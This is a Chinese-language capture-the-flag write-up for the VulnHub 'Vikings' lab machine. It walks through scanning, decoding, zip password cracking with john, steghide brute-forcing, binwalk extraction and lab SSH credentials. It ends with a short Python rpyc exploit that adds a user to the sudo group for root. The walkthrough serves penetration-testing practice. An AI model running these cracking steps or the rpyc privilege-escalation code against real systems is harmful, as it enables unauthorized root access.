靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/
难度:
- 低(中),CTF风格的靶机
目标:
- 取得 root 权限 + 2 个flag
涉及的攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- 编码转换/文件还原
- 离线密码破解
- 隐写术
- 二进制文件提取
- 素数查找/科拉茨猜想
- RPC漏洞提权
主机发现:
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.31.27
sudo nmap -p22,80 -sV -sC 192.168.31.27
发现一个site/
路径,直接访问浏览器
访问链接,页面加载有点慢,查看源代码发现是加载了外国网站的一些js
文件
首页有一个名字ragnar
,是维京首领
目录扫描
使用工具gobuster
sudo gobuster dir -r -u http://192.168.31.27/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html
访问发现一个新路径
发现一大堆Base64
编码
使用Cyberchef
工具解码解析,选择From Base64
,发现PK
文件头,是zip
文件的文件头
选择Detect File Type
识别一下是什么文件格式,发现是zip
文件
直接保存,点右边的按钮
解压它发现需要密码
zip2john download.zip > hash
将压缩文件转换为john
可以识别的格式并保存为一个hash
文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt
使用rockyou.txt
大字典进行暴力破解,破解成功密码ragnarok123
使用密码ragnarok123
解压获得图片king
steghide info king
查看文件是否有隐藏信息,发现有,但是查看信息需要密码
原本是想通过shell脚本的方式来爆破密码,但是无法成功
for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done
那么换其他方式
binwalk -B king
查看详细信息
binwalk -e king
直接强制提取
查看user
文件内容,发现疑似ssh
登录的信息
ssh floki@192.168.31.27
直接登录
账号floki
;密码f@m0usboatbuilde7
尝试登录成功
在当前目录下发现两个文件,依次查看
- 发现
readme
里说必须要创建boat
才能找到ragnar
账号,在boat
文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII
编码的字符给筛选出来,应该就是ragnar
账号的密码
首先需要找到第29个质数
n = 0
for x in range(1000):
if x < 2:
continue
h = int(x / 2) + 1
for i in range(2,h):
if x % i == 0:
break
else:
n +=1
print(n, ":", x)
第29个质数是109
接下来做科拉茨猜想运算
i = 109
c = [i]
while i != 1:
if i % 2 ==1:
i = i * 3 + 1
else:
i = i // 2
if i < 256:
c.append(i)
print(c)
将这段数字中符合ASCII
编码的字符给筛选出来
mR)|>^/Gky[gz=\.F#j5P(
,用这个密码成功登录,登录发现它以sudo
的权限执行了什么命令
在 bash
中,-i
参数表示启动一个交互式 shell。使用 /bin/bash -i
会启动一个新的 bash
实例,并使其处于交互模式,这样你可以输入命令并实时获得反馈。这种模式常用于在脚本或命令中模拟交互式会话。
我们知道.bashrc
和.profile
等文件可以设置开机后自动执行的命令
查看.profile
文件确实有一串sudo python3 /usr/local/bin/rpyc_classic.py
提权
vim /usr/local/bin/rpyc_classic.py
查看该python文件
这看起来是一个服务端的接口程序,发现引入了rpyc
的库Part 1: Introduction to Classic RPyC — RPyC
RPC
就是远程的进程调用,它的作用就是在服务端可以运行一个程序接口,我们可以通过客户端的代码指令去连上服务端的接口,然后去执行服务端的函数和指令
它的默认监听端口是18812
发现可以通过这段代码去连接,然后通过函数调用,通过阅读官方文档可以快速的学习到
这个文件的属主是root
我们可以通过客户端编写一些程序代码,编写一些函数,然后将这些函数提交到服务器端的侦听端口上面,提交给服务器让它帮我执行,由于它的属主是root
账号,所以它就会以root
账号来执行我们注入的指令
先来查看一下目标靶机上默认的服务端口是否是开着的
ss -pantu | grep 18812
发现是开着的,说明服务正在运行
ss -pantu
是一个用于显示网络连接的 ss
命令的选项组合。具体参数含义如下:
**-p**
:显示与套接字相关的进程信息。**-a**
:显示所有套接字(包括监听和非监听状态)。**-n**
:以数字形式显示地址和端口,而非解析为主机名或服务名。**-t**
:显示 TCP 套接字。**-u**
:显示 UDP 套接字。
综上,ss -pantu
命令会列出所有的 TCP 和 UDP 网络连接,并显示相关的进程信息,使用数字格式显示地址和端口。
在靶机上编辑一个exp.py
,在目标靶机上去执行
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()
代码是把我们自己添加进入到sudo
的组里面
运行代码之后,如果成功了的话,在我们下次登录目标靶机的时候就是具有sudo
权限的了
ssh ragnar@192.168.0.103
,密码mR)|>^/Gky[gz=\.F#j5P(
然后当前要求我们输入的sudo密码我们就不去管它了,直接敲三次回车就行,这样就登录进来了
然后用/bin/bash -i
简单的升级一下shell
,发现提示To run a command as administrator (user "root"), use "sudo <command>".
说明我们刚刚把自己加入sudo
组里面的操作是成功了的,所以我们登录的时候它就会提示我们是sudo
组的人了
sudo -s
直接提权成功!
总结:
- 主机发现、端口扫描、服务发现
- 发现在
site
目录下存在一个war.txt
的文件,访问这个文件发现存在一个路径,访问这个路径发现一大堆的Base64
编码的内容 - 使用
CyberChef
进行编码转换,发现一个zip
文件,保存后打开发现需要密码,于是进行离线的密码破解,解压出一个图片文件 - 对图片进行隐写术的检查发现有隐藏信息,但是加了密码保护
- 于是使用二进制的方式强制提取,通过
binwalk
提取出一个压缩文件,从里面的user.txt
发现包含floki
账号SSH
登录的信息成功登录floki
账号 - 进一步信息搜索,发现
readme
里说必须要创建boat
才能找到ragnar
账号,在boat
文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII
编码的字符给筛选出来,就是ragnar
账号的密码 - 登录
ragnar
账号,找到一个python
的RPC
程序,分析代码发现有机会通过客户端将请求发给服务器端,以root
身份去执行一个客户端的请求指令 - 于是自己编写一段漏洞的利用代码将自己自定义的函数提交到服务端,让服务器帮我们执行,执行结果就是将
ragnar
账号加入到sudo
组里面,通过sudo
组的权限直接运行sudo -s
命令,通过这个权限去将自己直接提升成root
账号 - 最终拿下这台靶机
学习记录
- 在打靶过程当中,需要使用很多的自定义的程序代码的编写,所有的这些能力是作为一个渗透测试者需要去具备,需要去打磨,需要去培养的能力。